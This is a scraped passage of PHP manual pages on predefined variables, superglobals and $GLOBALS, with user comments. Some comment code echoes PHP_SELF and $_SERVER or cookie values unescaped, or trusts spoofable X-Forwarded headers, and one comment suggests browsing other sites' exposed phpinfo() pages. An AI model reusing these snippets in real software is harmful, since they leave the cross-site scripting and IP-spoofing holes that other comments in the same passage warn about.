Sometimes an object's method returning a reference to itself is required. Here is a way to code it:

<?php
class MyClass {
  public $datum;
  public $other;

  function &MyRef($d) { // the method
    $this->datum = $d;
    return $this; // returns the reference
  }
}

$a = new MyClass;
$b = $a->MyRef(25); // creates the reference

echo "This is object \$a: \n";
print_r($a);
echo "This is object \$b: \n";
print_r($b);

$b->other = 50;

echo "This is object \$a, modified" .
     " indirectly by modifying ref \$b: \n";
print_r($a);
?>

This code outputs:
This is object $a:
MyClass Object
(
    [datum] => 25
    [other] =>
)
This is object $b:
MyClass Object
(
    [datum] => 25
    [other] =>
)
This is object $a, modified indirectly by modifying ref $b:
MyClass Object
(
    [datum] => 25
    [other] => 50
)


Predefined Variables

PHP provides a large number of predefined variables to all scripts. The variables represent everything from external variables to built-in environment variables, last error messages to last retrieved headers.

See also the FAQ titled "How does register_globals affect me?"

Table of Contents

  • Superglobals — Superglobals are built-in variables that are always available in all scopes
  • $GLOBALS — References all variables available in global scope
  • $_SERVER — Server and execution environment information
  • $_GET — HTTP GET variables
  • $_POST — HTTP POST variables
  • $_FILES — HTTP File Upload variables
  • $_REQUEST — HTTP Request variables
  • $_SESSION — Session variables
  • $_ENV — Environment variables
  • $_COOKIE — HTTP Cookies
  • $php_errormsg — The previous error message
  • $HTTP_RAW_POST_DATA — Raw POST data
  • $http_response_header — HTTP response headers
  • $argc — The number of arguments passed to script
  • $argv — Array of arguments passed to script

User Contributed Notes

ca2 04-Jun-2014 11:53
Note $this and anything like it should be listed on this page.
dusted at dusted dot dk 15-Mar-2011 11:32
I use HTTP_X_FORWARDED_FOR because my webserver is behind a reverse proxy.
This can be made secure:
Configure the reverse proxy to block this field, and override it correctly.
Configure the apache server to only accept incoming connections from the reverse proxy.
autofei at gmail dot com 18-Jun-2010 02:57
if you try to run php through command line, for example: php.exe c:\AppServ\www\cron_cache.php. You better avoid to use $_SERVER['DOCUMENT_ROOT'], because it will return nothing. Instead, you can use dirname(__FILE__). The reason to use command line running php is set it as Windows Scheduled Tasks. I did not test under Linux environment, but might be same.
gajillion at gmail dot com 24-Jun-2008 06:08
@SilentChris at gmail dot com - I'm seeing the same thing but I'm starting to believe the issue is not PHP but Apache.  It looks like Apache's rewrite module is double encoding strings with a '%' sign if they are followed by two or more other characters.  So

%25 translates correctly to '%'
%25b translates correctly to '%b'
%25ba translates incorrectly to � which when itself is run through urlencode translates to '%BA'.

Further letters translate correctly.
%25bac produces '�c', etc.

It only appears to happen on the first instance of %25 because further items are translated correctly.
moochm@gmail 07-Apr-2008 06:15
When using a php script like a remote function call, I find something like this useful for setting default parameters.

<?php
/**
/* combine _GET _POST _COOKIE variables with provided default values
/* defaults - associative array of default values
/* overwrite - if true, write result to _REQUEST superglobal
/* super_globals - array of super globals to fetch values from
**/
function get_params($defaults = null, $overwrite = false, $super_globals = array('_GET', '_POST', '_COOKIE'))
{
    $ret = array();

    // fetch values from request
    foreach($super_globals as $sg)
        foreach($GLOBALS[$sg] as $k=>$v)
            $ret[$k] = $v;

    // apply defaults for missing parameters
    if($defaults) foreach($defaults as $k=>$v)
        if(!isset($ret[$k]))
            $ret[$k] = $v;

    if($overwrite)
        $_REQUEST = $ret;

    return $ret;
}

// Example: page.php?style=modern

$argv = get_params(array('id'=>42, 'style'=>'medieval'));

// $argv['id'] = 42
// $argv['style'] = 'modern'

?>
spamtrap at scottydm dot com 13-Feb-2008 03:15
I was a little frustrated by the fact that some of the _SERVER variables didn't seem to exist, so I did a bit of Googling and found the answer: many of these variables are supplied by the web server and not all web servers supply the same set of variables.

I found a comparison between Apache v1.3.29 and IIS v5.1 on this page: http://koivi.com/apache-iis-php-server-array.php Useful for those of us doing cross-platform development.

While running experiments with different browsers I noticed some of the HTTP_* variables come and go depending on the browser used, or in the case of Opera by diddling the "user mode" (the widget that lets you look at a page as text only, etc.). For example: in IE and Opera HTTP_KEEP_ALIVE was missing, but was present in Firefox and Mozilla, and when I fiddled with Opera's "user mode" I got somethings called HTTP_TE and HTTP_CACHE_CONTROL.

So, what you get is dependent on the web server AND the browser.

I did see one IIS supplied variable not on that list: REQUEST_TIME, which seems to be in Unix timestamp format.

While researching this I discovered there are plenty of people who have their phpinfo() page visible and indexed on a few search engines. For those who want to dig a bit deeper than that nice web page comparing Apache to IIS, looking at other peoples' phpinfo() pages could be useful. You get the version of PHP plus OS and web server they use, along with all the _SERVER variables. I found the highest percent of signal-to-noise by searching for "phpinfo()" (with the quotes) on Dogpile: http://www.dogpile.com/
php-net dot ucn dot extranet dot sys at dark-chiaki dot net 13-Dec-2007 05:40
In addition to mfyahya at gmail dot com (2007-06-07 03:33):

If You are working with the Apache module mod_rewrite and want to set some environment vars, the Apache manual says this vars could be accessed in CGI using $ENV{VAR}. In PHP You might want to write $_ENV['VAR'] to get the value of VAR, but You have to access if via $_SERVER, and in some different ways:

1. Example: .htaccess and example.php

RewriteEngine on
RewriteRule ^?var1=([^;]*);var2=([^;]*)$ \
 - [E=VAR1:$1,E=VAR2:$2]

<?php echo($_SERVER['VAR1']."\r\n"
          .$_SERVER['VAR2']); ?>

2. Example: .htaccess and index.php

RewriteEngine on
RewriteRule ^index\.php$ - [L]
RewriteRule ?var1=([^;]*);var2=([^;]*)$ \
 index.php [E=VAR1:$1,E=VAR2:$2]

<?php echo($_SERVER['REDIRECT_VAR1']."\r\n"
          .$_SERVER['REDIRECT_VAR2']); ?>

Note: If any RewriteRule matches, an internal redirect than restarts (after the last defined rule, or immediately after the matched rule having a L-flag) checking the entire rule set again. For an internal redirect every defined VAR gets an 'REDIRECT_' prefix, i.e. VAR1 will be REDIRECT_VAR1, VAR2 will be REDIRECT_VAR2.

Of course, You can (additionally) redefine the original VAR:

RewriteEngine on
RewriteRule ^index\.php$ \
 - [E=VAR1:%{REDIRECT_VAR1},E=VAR2:%{REDIRECT_VAR2},L]
RewriteRule ?var1=([^;]*);var2=([^;]*)$ \
 index.php [E=VAR1:$1,E=VAR2:$2]

With this, You will have $_SERVER['REDIRECT_VAR*'] -and- $_SERVER['VAR*'].

***

The given examples are only for explanation, in any case they are not intended to fit Your needs. The "\<CRLF><SP>" in the .htaccess examples are only for display purpose, they should not occur in a real .htaccess file. The argument separator ';' in links can also be '&', but this may cause some trouble with HTML/XHTML. See the following pages for more information about this issue:
- http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2
- http://www.w3.org/QA/2005/04/php-session
Nicolae Namolovan 22-Nov-2007 08:49
SECURITY RISK !

Never ever trust the values that comes from $_SERVER.

HTTP_X_FORWARDED, HTTP_X_FORWARDED_FOR, HTTP_FORWARDED_FOR, HTTP_FORWARDED, etc.. can be spoofed !

To get the ip of user, use only $_SERVER['REMOTE_ADDR'], otherwise the 'ip' of user can be easily changed by sending a HTTP_X_* header, so user can escape a ban or spoof a trusted ip.

Of course this is well know, but I don't see it mentioned in these notes..

If you use the ip only for tracking (not for any security features like banning or allow access to something by ip), you can also use HTTP_X_FORWARDED to get user's ip what are behind proxy.
crescentfreshpot at yahoo dot com 14-Nov-2007 07:03
In response to mathiasrav's getip() implementation on 28-Jul-2007, it should be noted that it:

- assumes IPv4 addresses only
- returns $_SERVER['REMOTE_ADDR'] for any value of $_SERVER['HTTP_CLIENT_IP'] that matches 127.0.*.*, 192.168.*.* or 10.0.*.*, which is not desirable if you actually WANT the value of HTTP_CLIENT_IP

dlyaza's prior snippet has neither of these problems.
root at mantoru dot de 01-Nov-2007 03:59
Note that some headers will be checked for validity (by Apache, I suppose) before showing up in $_SERVER -- If-Modified-Since for example.

<?php
$lastmod = gmdate('D, d M Y H:i:s', filemtime('somefile'));
header("Last-Modified: $lastmod");
?>

This WON'T work, "GMT" is missing. Internet Explorer auto-fixes this by adding GMT, while Firefox resends this data as-is. (So an If-Modified-Since-header is sent, but neither shows up in $_SERVER nor in apache_request_headers()). This would be correct:

<?php
$lastmod = gmdate('D, d M Y H:i:s', filemtime('somefile')) . 'GMT';
header("Last-Modified: $lastmod");
?>
jsan 19-Oct-2007 09:39
@White-Gandalf: one can control this behavior by setting:

UseCanonicalName On|Off

in their apache config (at least, on *ix platforms).

On => $_SERVER['SERVER_NAME'] is the ServerName var from either the global server or virtual host, whichever wraps the PHP app closest.

Off => Whatever was in the Host: header sent by the client.
White-Gandalf 16-Oct-2007 04:01
'SERVER_NAME' does NOT necessarily refer to the name of a virtual host or any other things defined in the apache config.
Instead it simply takes the value of the "Host:" entry of the HTTP-header sent by the client.
At least with apache version 2.2.5 on Windows.
andres at andresj dot ath dot cx 05-Aug-2007 06:41
To get the directory of the current script: (I think this is a little more resource-friendly, but then again with all the fast computers available, it does not matter so much...)
<?
// For the script that is running:
$script_directory = substr($_SERVER['SCRIPT_FILENAME'], 0, strrpos($_SERVER['SCRIPT_FILENAME'], '/'));
// If your script is included from another script:
$included_directory = substr(__FILE__, 0, strrpos(__FILE__, '/'));
echo $script_directory . '<br />';
echo $included_directory . '<br />';
?>
If you have a script that only includes the script written above in a directory called 'includer', and I access it from a web browser, this will be what I see:

/path/to/includer/
/path/to/included/
danvasile at pentest dot ro 21-Mar-2007 09:22
If you have problems with $_SERVER['HTTPS'], especially if it returns no values at all you should check the results of phpinfo(). It might not be listed at all.
Here is a solution to check and change, if necessary, to ssl/https that will work in all cases:

<?php
if ($_SERVER['SERVER_PORT']!=443) {
$sslport=443; //whatever your ssl port is
$url = "https://". $_SERVER['SERVER_NAME'] . ":" . $sslport . $_SERVER['REQUEST_URI'];
header("Location: $url");
}
?>

Of course, this should be done before any html tag or php echo/print.
Joe Marty 24-Jan-2007 08:53
I think it is very important to note that PHP will automatically replace dots ('.') AND spaces (' ') with underscores ('_') in any incoming POST or GET (or REQUEST) variables.

This page notes the dot replacement, but not the space replacement:
http://us2.php.net/manual/en/language.variables.external.php

The reason is that '.' and ' ' are not valid characters to use in a variable name.  This is confusing to many people, because most people use the format $_POST['name'] to access these values.  In this case, the name is not used as a variable name but as an array index, in which those characters are valid.

However, if the register_globals directive is set, these names must be used as variable names.  As of now, PHP converts the names for these variables before inserting them into the external variable arrays, unfortunately - rather than leaving them as they are for the arrays and changing the names only for the variables set by register_globals.

If you want to use:
<input name="title for page3.php" type="text">

The value you will get in your POST array, for isntance would be:
$_POST['title_for_page3_php']
NeoSmart Technologies 18-Nov-2006 03:22
The *only* way to make Request_URI work as a 100% Apache-Compliant server variable on IIS/Windows is to use an Isapi Filter - as documented at http://neosmart.net/blog/archives/291 . The various steps mentioned below *completely* fail when a rewrite engine is employed, since IIS will *never* return a non-existent path (i.e. the actual pretty-URI used) via its server variables.

This also applies to accessing index.php via a folder.
For instance, calls made to /folder/ will appear as /folder/index.php and not /folder/.

The fix is to use the ISAPI filter provided at http://neosmart.net/blog/archives/291

You don't have to modify any of the actual scripts once this filter is in place - it automatically intercepts calls to REQUEST_URI and replaces them with the actual user-entered path.
Alexander Hars 19-Sep-2006 11:16
If you want to use a form with multiple checkboxes (e.g. one per row) and assign the same name to each checkbox then the name needs to end with []. This tells PHP to put all checked values into an array variable.
For example:
<input type="checkbox" name="id[]" value="value_1">
<input type="checkbox" name="id[]" value="value_2">
..
<input type="checkbox" name="id[]" value="value_x">

You can now retrieve all values by using:
   $values = $_POST['id'];

If the name does not end with [], then only a single value will be available via the $_POST variable even if the user checks several checkboxes.
jameslporter at gmail dot com 05-May-2006 09:19
Refer to CanonicalName if you are not getting the ServerName in the $_SERVER[SERVER_NAME] variable....This was a pain to figure out for me...now it works as expected by turning canonical naming on.

http://www.apacheref.com/ref/http_core/UseCanonicalName.html
tchamp 26-Apr-2006 04:24
Be careful with HTTP_HOST behind a proxy server.   Use these instead.
[HTTP_X_FORWARDED_FOR]
[HTTP_X_FORWARDED_HOST]
[HTTP_X_FORWARDED_SERVER]

In my situation, I used [HTTP_X_FORWARDED_SERVER] in place of [HTTP_HOST] in order get the machine and hostname (www.myurl.com)
Ben XO 14-Apr-2006 03:18
So you have an application in your web space, with a URL such as this:

http://<host>/<installation_path>/

and pages such as

http://<host>/<installation_path>/subfolder1/subfolder2/page.php

You have a file called config.php in <installation_path> which is include()d by all pages (in subfolders or not).

How to work out <installation_path> without hard-coding it into a config file?

<?php

// this is config.php, and it is in <installation_path>
// it is included by <installation_path>/page.php
// it is included by <installation_path>/subfolder/page2.php
// etc

$_REAL_SCRIPT_DIR = realpath(dirname($_SERVER['SCRIPT_FILENAME'])); // filesystem path of this page's directory (page.php)
$_REAL_BASE_DIR = realpath(dirname(__FILE__)); // filesystem path of this file's directory (config.php)
$_MY_PATH_PART = substr( $_REAL_SCRIPT_DIR, strlen($_REAL_BASE_DIR)); // just the subfolder part between <installation_path> and the page

$INSTALLATION_PATH = $_MY_PATH_PART
    ? substr( dirname($_SERVER['SCRIPT_NAME']), 0, -strlen($_MY_PATH_PART) )
    : dirname($_SERVER['SCRIPT_NAME'])
; // we subtract the subfolder part from the end of <installation_path>, leaving us with just <installation_path> :)

?>
todd dot kisov at yahoo dot com 03-Apr-2006 11:11
To convert query string parameter values ($_GET, $_REQUEST), which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string (%uNNNN%uNNNN%uNNNN) fast and simple is to use PECL JSON extension:

function JavaScript_Unicode_URL_2_Str($js_uni_str) {
        $res = preg_replace('/%u([[:alnum:]]{4})/', '\\u\1', $js_uni_str);
        $res = str_replace('"', '\"', $res); // if in str "
        $res = json_decode('["'.$res.'"]'); // JavaScrip array with string element
        $res = $res[0];
        $res = iconv('UTF-8', ini_get('default_charset'), $res);
        return $res;
    }
01-Apr-2006 06:56
I was unable to convince my hosting company to change their installation of PHP and therefore had to find my own way to computer $_SERVER["DOCUMENT_ROOT"].  I eventually settled on the following, which is a combination of earlier notes (with some typos corrected):

<?php
if ( ! isset($_SERVER['DOCUMENT_ROOT'] ) )
  $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(
    $_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF']) ) );
?>
Aardvark 07-Mar-2006 10:35
$_GET may not handle query string parameter values which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string.
To handle this the query parameter value can be obtained  using a function such as:

function getQueryParameter ($strParam) {
  $aParamList = explode('&', $_SERVER['QUERY_STRING']);
  $i = 0;
  while ($i < count($aParamList)) {
    $aParam = split('=', $aParamList[$i]);
    if ($strParam == $aParam[0]) {
      return $aParam[1];
    }
  }
  return "";
}

or by directly building an array or query string values and then processing the parameter string using a function such as the "unescape" function which can be found at http://www.kanolife.com/escape/2006/03/unicode-url-escapes-in-php.html (or http://www.kanolife.com/escape/ for related info).
justin dot (nospam)george at gmail dot com 28-Feb-2006 09:00
Note that it's a very, very bad idea to append to global variables in a loop, unless you really, really mean to do so in a global context. I just a while ago hung my server with a snippet of code like this:

<?php
$host  = $_SERVER['HTTP_HOST'];
$uri  = rtrim($_SERVER['PHP_SELF'], "/\\");

$GLOBALS['SITE_ROOT'] = "http://$host$uri";

while ($i < somenumber)
readfile($GLOBALS['SITE_ROOT'] = $GLOBALS['SITE_ROOT'] . '/this/file.php');
$i++
}
?>

While it is an entertaining and unusual method of creating very long URLs and breaking servers, it's a pretty awesomely bad idea

(Especially considering that the script in question ran concurrently with others of it's type, so the value in $GLOBALS['SITE_ROOT'] was unknown.)
nathan 22-Feb-2006 05:05
Also on using IPs to look up country & city, note that what you get might not be entirely accurate.  If their ISP is based in a different city or province/state, the IPs may be owned by the head office, and used across several areas.
You also have rarer situations where they might be SSHed into another server, on the road, at work, at a friend's...  It's a nice idea, but as the example code shows, it should only be used to set defaults.
chris at vault5 dot com 30-Nov-2005 04:17
Since $_SERVER['DOCUMENT_ROOT'] is not always present, the following will provide it where $_SERVER dosen't.

<?php
function resolveDocumentRoot() {
    $current_script = dirname($_SERVER['SCRIPT_NAME']);
    $current_path   = dirname($_SERVER['SCRIPT_FILENAME']);

    /* work out how many folders we are away from document_root
       by working out how many folders deep we are from the url.
       this isn't fool proof */
    $adjust = explode("/", $current_script);
    $adjust = count($adjust)-1;

    /* move up the path with ../ */
    $traverse = str_repeat("../", $adjust);
    $adjusted_path = sprintf("%s/%s", $current_path, $traverse);

    /* real path expands the ../'s to the correct folder names */
    return realpath($adjusted_path);
}

?>

It counts the number of folders down the path we are in the URL, then moves that number of folders up the current path... end result should be the document root :)

It wont work with virtual folders or in any situation where the folder in the URL dosen't map to a real folder on the disk (like when using rewrites).
webmaster at eclipse dot org 11-Oct-2005 05:01
In response to tobias at net-clipping dot de

It is not an Apache bug.  Please read http://httpd.apache.org/docs/2.1/mod/core.html#errordocument carefully (2.1 version here, 2.0 and 1.x is similar).

In short, if your ErrorDocument start with http:// Apache sends a redirect (302) to the error document, hence losing your original referer. If your ErrorDocument points to a relative path, 404 is maintained and so are your variables.

From the Apache manual:

"Note that when you specify an ErrorDocument  that points to a remote URL (ie. anything with a method such as http in front of it), Apache will send a redirect to the client to tell it where to find the document, even if the document ends up being on the same server. This has several implications, the most important being that the client will not receive the original error status code, but instead will receive a redirect status code. This in turn can confuse web robots and other clients which try to determine if a URL is valid using the status code. In addition, if you use a remote URL in an ErrorDocument 401, the client will not know to prompt the user for a password since it will not receive the 401 status code. Therefore, if you use an ErrorDocument 401 directive then it must refer to a local document."

D.
drew dot griffiths at clare dot net 30-Sep-2005 05:51
Re: You can take advantage of 404 error to an usable redirection using REQUEST_URI ...

Whilst this is effective, a line in the .htaccess such as:

RewriteEngine On
RewriteRule ^profiles/([A-Za-z0-9-]+) showprofile.php?profile=$1 [L,NC,QSA]

will throw the requested profile in a variable $profile to the showprofile.php page.

You can further enhance the url (e.g http://servername/profiles/Jerry/homeaddress/index.htm) and the second variable value homeaddress becomes available in $url_array[3] when used below $url_array=explode("/",$_SERVER['REQUEST_URI']);

Hope this helps - Works well for me

Drew
Gregory Boshoff 31-Jul-2005 11:41
$_SERVER['QUERY_STRING']

Does not contain XHTML 1.1 compliant ampersands i.e. &amp;

So you will need to do something like this if you are to use $_SERVER['QUERY_STRING'] in URL's.

//  XHTML 1.1 compliant ampersands
$_SERVER['QUERY_STRING'] =
str_replace(array('&amp;', '&'), array('&', '&amp;'),
$_SERVER['QUERY_STRING']);
New York PHP 24-Jul-2005 03:59
Warning: $_SERVER['PHP_SELF'] can include arbitrary user input. The documentation should be updated to reflect this.

The request "http://example.com/info.php/attack%20here" will run /info.php, but in Apache $_SERVER['PHP_SELF'] will equal "/info.php/attack here". This is a feature, but it means that PHP_SELF must be treated as user input.

The attack string could contain urlencoded HTML and JavaScript (cross-site scripting) or it could contain urlencoded linebreaks (HTTP response-splitting).

The use of $_SERVER['SCRIPT_NAME'] is recommended instead.
daniel at softel dot jp 16-Jul-2005 08:43
Note that $php_errormsg may contain a newline character. This can be problematic if you are trying to output it with a JavaScript "alert()" for example.
andy dot gajetzki at gmail dot com 06-Jul-2005 03:22
I wanted to be able to embed a variable in the path. This is useful when, for example, images are rendered on the fly and you would like them to have different urls.

Here is an illustration:

www.somesite.com/image.php/IMAGETEXTHERE

This would return an image with the text after "image.php/" contained in it.

I could not recall the name of this feature, so I made a work-around in PHP...

<?

function getPathVariables() {
        $sPathPS = $_SERVER[PHP_SELF];
        $sPathFS = __FILE__;

        $aPathPS = array_reverse(explode("/", $sPathPS));
        $aPathFS = array_reverse(explode("/", $sPathFS));

        $aImageArgs = array();
        $x = 0;

        while ( $aPathPS[$x] != $aPathFS[$x] && $aPathPS[$x] != $aPathFS[0] ) {
                array_unshift($aImageArgs, $aPathPS[$x])        ;
                $x++;
        }
        return $aImageArgs;

}
?>

This function will return an array containing each "/" delimited portion of the path after the script name itself.
xangelusx at hotmail dot com 13-Jun-2005 10:03
A note about the QUERY_STRING variable when using IIS:

I have found that IIS does not handle large query strings gracefully when passed from PHP. In addition to truncating them to around 1024 kb, I have seen IIS actually add data from other server variables to the end of the truncated data.

This occurred on Windows 2000 server running IIS 5.0 and PHP 4.3.8.  The problem did not occur when handled by Apache, even on another Windows server.

Note: I realize passing this much data is best accomplished using the POST method, which would avoid this problem all together. I'm merely detailing a problem that I came across.

I have created a page that includes the (very long) query string that was used and some of the results that I saw while testing. It can be viewed at http://www.csb7.com/test/php_iis_qs_limit/. I didn't want to include it here as it would stretch the page out significantly.

~Chris Bloom
mfyahya at gmail dot com 07-Jun-2005 03:33
If you use Apache's redirection features for custom error pages or whatever, the following Apache's REDIRECT variables are also available in $_SERVER:
$_SERVER['REDIRECT_UNIQUE_ID]'
$_SERVER['REDIRECT_SCRIPT_URL]'
$_SERVER['REDIRECT_SCRIPT_URI]'
$_SERVER['REDIRECT_SITE_ROOT]'
$_SERVER['REDIRECT_SITE_HTMLROOT]'
$_SERVER['REDIRECT_SITE_CGIROOT]'
$_SERVER['REDIRECT_STATUS]'
$_SERVER['REDIRECT_QUERY_STRING]'
$_SERVER['REDIRECT_URL]'

I'm not sure if this is a complete list though
inbox at tanasity dot com 13-Apr-2005 03:23
Under Windows 2000, running IIS and PHP 4.3.10, $_SERVER['SCRIPT_NAME'] is not available, however $_SERVER['SCRIPT_FILENAME'] is present and seems to contain the same information.
28-Feb-2005 03:41
Matt Johnson says that one should never urldecode() $_GET data. This is incorrect.

If magic_quotes_gpc is turned off in php.ini, then you *do* need to urldecode() $_GET data.

Having magic_quotes_gpc turned off is considered good practise.
Gregory Boshoff 14-Feb-2005 01:19
The Environment variable $ENV is useful for coding portable platform specific application constants.

// Define a Windows or else Linux root directory path
$_ENV['OS'] == 'Windows_NT' ? $path = 'L:\\www\\' : $path = ' /var/www/';

define('PATH', $path);

echo PATH;
niles AT atheos DOT net 26-Jan-2005 09:51
If your having problems returning $_SERVER variables using apache, be sure you enable:

ExtendedStatus On

in your httpd.conf file.

If it's off, then things like $_SERVER['HTTP_HOST'] won't be present.
marcus at lastcraft dot com 24-Jan-2005 01:02
The variable $php_errormsg is not populated if you have XDebug running.
dotpointer 09-Jan-2005 10:26
Running Xitami in Windows 2000 and PHP 4.3.7, nor PHP_SELF or SCRIPT_FILENAME is not availiable. Trying SCRIPT_NAME instead. Here is a function that returns the filename of a script without slashes. Good for use in HTML FORM ACTION=""-arguments...

function getThisFile() {

 /* try to use PHP_SELF first... */
 if (!empty($_SERVER['PHP_SELF'])) {
  $strScript = $_SERVER['PHP_SELF'];
 /* otherwise, try SCRIPT_NAME */
 } else if (!empty($_SERVER['SCRIPT_NAME'])) {
  $strScript = @$_SERVER['SCRIPT_NAME'];
 /* last resort - quit out and return nothing */
 } else {
  return null;
 }

 /* fint last frontslash in filename */
 $intLastSlash = strrpos($strScript, "/");

 /* check if last backslash is more far away in filename */
 if (strrpos($strScript, "\\")>$intLastSlash) {
  /* if so, use the backslash position instead */
  $intLastSlash = strrpos($strScript, "\\");
 }

 /* cut out from the last slash and to the end of the filename */
 return substr($strScript, $intLastSlash+1, strlen($strScript));
}

Tested on PHP 4.3.7/Win32 and PHP 5.0.3/Linux.
You may add more filepaths to the first if-section
to get more chances to catch up the filename if you can.
mrnopersonality at yahoo dot com 19-Oct-2004 05:13
Nothing about the message-body ...

You can get cookies, session variables, headers, the request-uri , the request method, etc but not the message body. You may want it sometimes when your page is to be requested with the POST method.

Maybe they should have mentioned $HTTP_RAW_POST_DATA or php://stdin
david at grant dot org dot uk 12-May-2004 02:34
$_SERVER['DOCUMENT_ROOT'] *is* supported by IIS, although only when running PHP as an ISAPI module.
youdontmeanmuch [at] yahoo.com 06-Apr-2004 06:20
Be carful when using $_SERVER['DOCUMENT_ROOT']; in your applications where you want to distribute them to other people with different server types. It isnt always supported by the webserver (IIS).
josh,endquote,com 04-Dec-2003 12:54
Running PHP 4.3 under IIS 5 on Windows XP, there is no $_SERVER['REQUEST_URI'] variable. This seems to fix it:

if(!isset($_SERVER['REQUEST_URI'])) {
    $_SERVER['REQUEST_URI'] = substr($_SERVER['argv'][0], strpos($_SERVER['argv'][0], ';') + 1);
}


Superglobals are built-in variables that are always available in all scopes

  • « Predefined Variables
  • $GLOBALS »
  • PHP Manual
  • Predefined Variables
  • Superglobals are built-in variables that are always available in all scopes

Superglobals

Superglobals — Superglobals are built-in variables that are always available in all scopes

Description

Several predefined variables in PHP are "superglobals", which means they are available in all scopes throughout a script. There is no need to do global $variable; to access them within functions or methods.

These superglobal variables are:

  • $GLOBALS
  • $_SERVER
  • $_GET
  • $_POST
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_REQUEST
  • $_ENV

Changelog

Version | Description
4.1.0 | Superglobals were introduced to PHP.

Notes

Note: Variable availability

By default, all of the superglobals are available but there are directives that affect this availability. For further information, refer to the documentation for variables_order.

Note: Dealing with register_globals

If the deprecated register_globals directive is set to on then the variables within will also be made available in the global scope of the script. For example, $_POST['foo'] would also exist as $foo.

For related information, see the FAQ titled "How does register_globals affect me?"

Note: Variable variables

Superglobals cannot be used as variable variables inside functions or class methods.

See Also

  • variable scope
  • The variables_order directive
  • The filter extension

User Contributed Notes

John Slegers 19-Nov-2013 06:35
Want to know how to generate a formatted list with all globals (including custom ones)? Check out the code below.

<?php
// Generate a formatted list with all globals
//----------------------------------------------------
// Custom global variable $_CUSTOM
$_CUSTOM = array('USERNAME' => 'john', 'USERID' => '18068416846');

// List here whichever globals you want to print
// This could be your own custom globals
$globals = array(
    '$_SERVER' => $_SERVER, '$_ENV' => $_ENV,
    '$_REQUEST' => $_REQUEST, '$_GET' => $_GET,
    '$_POST' => $_POST, '$_COOKIE' => $_COOKIE,
    '$_FILES' => $_FILES, '$_CUSTOM' => $_CUSTOM
);
?>
<html>
    <style>
        <?php // Adjust CSS formatting for your output  ?>
        .left {
            font-weight: 700;
        }
        .right {
            font-weight: 700;
            color: #009;
        }
        .key {
            color: #d00;
            font-style: italic;
        }
    </style>
    <body>
        <?php
        // Generate the output
        echo '<h1>Superglobals</h1>';
        foreach ($globals as $globalkey => $global) {
            echo '<h3>' . $globalkey . '</h3>';
            foreach ($global as $key => $value) {
                echo '<span class="left">' . $globalkey . '[<span class="key">\'' . $key . '\'</span>]</span> = <span class="right">' . $value . '</span><br />';
            }
        }
        ?>
    </body>
</html>
kitchin 15-May-2013 03:09
Since PHP 5.4, you cannot use a superglobal as the parameter to a function. This causes a fatal error:

function foo($_GET) {
  // whatever
}

It's called "shadowing" a superglobal, and I don't know why people ever did it, but I've seen it out there. The easy fix is just to rename the variable $get in the function, assuming that name is unique.

There was no deprecation warning issued in previous versions of PHP, according to my testing, neither in 5.3 nor 5.2. The error messages in 5.4 are:
Fatal error: Cannot re-assign auto-global variable _GET in...
Fatal error: Cannot re-assign auto-global variable _COOKIE in...
etc.
serpent at paradise dot net dot nz 16-Jul-2012 10:27
You can go the other way as well i.e.

<?php
function test() {
        $GLOBALS['foo'] = "Example content";
}

test();
echo "<p>$foo</p>";
?>

This doesn't appear to be affected by register_globals, I have it switched off.
lskatz at gmail dot com 10-Oct-2008 05:51
Tibor:
It's not a good idea to use $_ENV unless you are specifying an environmental variable.  This is probably a better example that I found on another page in php.net

<?php
function test() {
    $foo = "local variable";

    echo '$foo in global scope: ' . $GLOBALS["foo"] . "\n";
    echo '$foo in current scope: ' . $foo . "\n";
}

$foo = "Example content";
test();
?>


References all variables available in global scope

  • « Superglobals
  • $_SERVER »
  • PHP Manual
  • Predefined Variables
  • References all variables available in global scope

$GLOBALS

(PHP 4, PHP 5)

$GLOBALS — References all variables available in global scope

Description

An associative array containing references to all variables which are currently defined in the global scope of the script. The variable names are the keys of the array.

Examples

Example #1 $GLOBALS example

<?php
function test() {
    $foo = "local variable";

    echo '$foo in global scope: ' . $GLOBALS["foo"] . "\n";
    echo '$foo in current scope: ' . $foo . "\n";
}

$foo = "Example content";
test();
?>

The above example will output something similar to:

$foo in global scope: Example content
$foo in current scope: local variable

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

Note: Variable availability

Unlike all of the other superglobals, $GLOBALS has essentially always been available in PHP.

User Contributed Notes

mstraczkowski at gmail dot com 12-Jun-2013 02:58
Watch out when you are trying to set $GLOBALS to the local variable.

Even without reference operator "&" your variable seems to be referenced to the $GLOBALS

You can test this behaviour using below code

<?php
/**
 * Result:
 * POST: B, Variable: C
 * GLOBALS: C, Variable: C
 */

// Testing $_POST
$_POST['A'] = 'B';

$nonReferencedPostVar = $_POST;
$nonReferencedPostVar['A'] = 'C';

echo 'POST: '.$_POST['A'].', Variable: '.$nonReferencedPostVar['A']."\n\n";

// Testing Globals
$GLOBALS['A'] = 'B';

$nonReferencedGlobalsVar = $GLOBALS;
$nonReferencedGlobalsVar['A'] = 'C';

echo 'GLOBALS: '.$GLOBALS['A'].', Variable: '.$nonReferencedGlobalsVar['A']."\n\n";
bkilinc at deyta dot net 05-Apr-2013 06:21
I prefer accessing globals through static function calls. Source code looks better; I use glb::get('myglobalvar') instead of $GLOBALS['myglobalvar']. This gives me full control over global access, which can be the source of problems in practice.

class glb
{
    static public function set($name, $value)
    {
        $GLOBALS[$name] = $value;
    }

    static public function get($name)
    {
        return $GLOBALS[$name];
    }

}

$myglobalvar = 'Hello, World !';

function myfunction()
{
    $val = glb::get('myglobalvar');
    echo "$val\n";
    glb::set('myglobalvar', 'hi, again :)');
    $val = glb::get('myglobalvar');
    echo "$val\n";
}

myfunction();
Gratcy 14-May-2012 04:03
this is technique that i always did for configuration file..

<?php
$conf['conf']['foo'] = 'this is foo';
$conf['conf']['bar'] = 'this is bar';

function foobar() {
    global $conf;
    var_dump($conf);
}

foobar();

/*
result is..

array
  'conf' =>
    array
      'foo' => string 'this is foo' (length=11)
      'bar' => string 'this is bar' (length=11)

*/
?>
therandshow at gmail dot com 29-Jun-2011 03:32
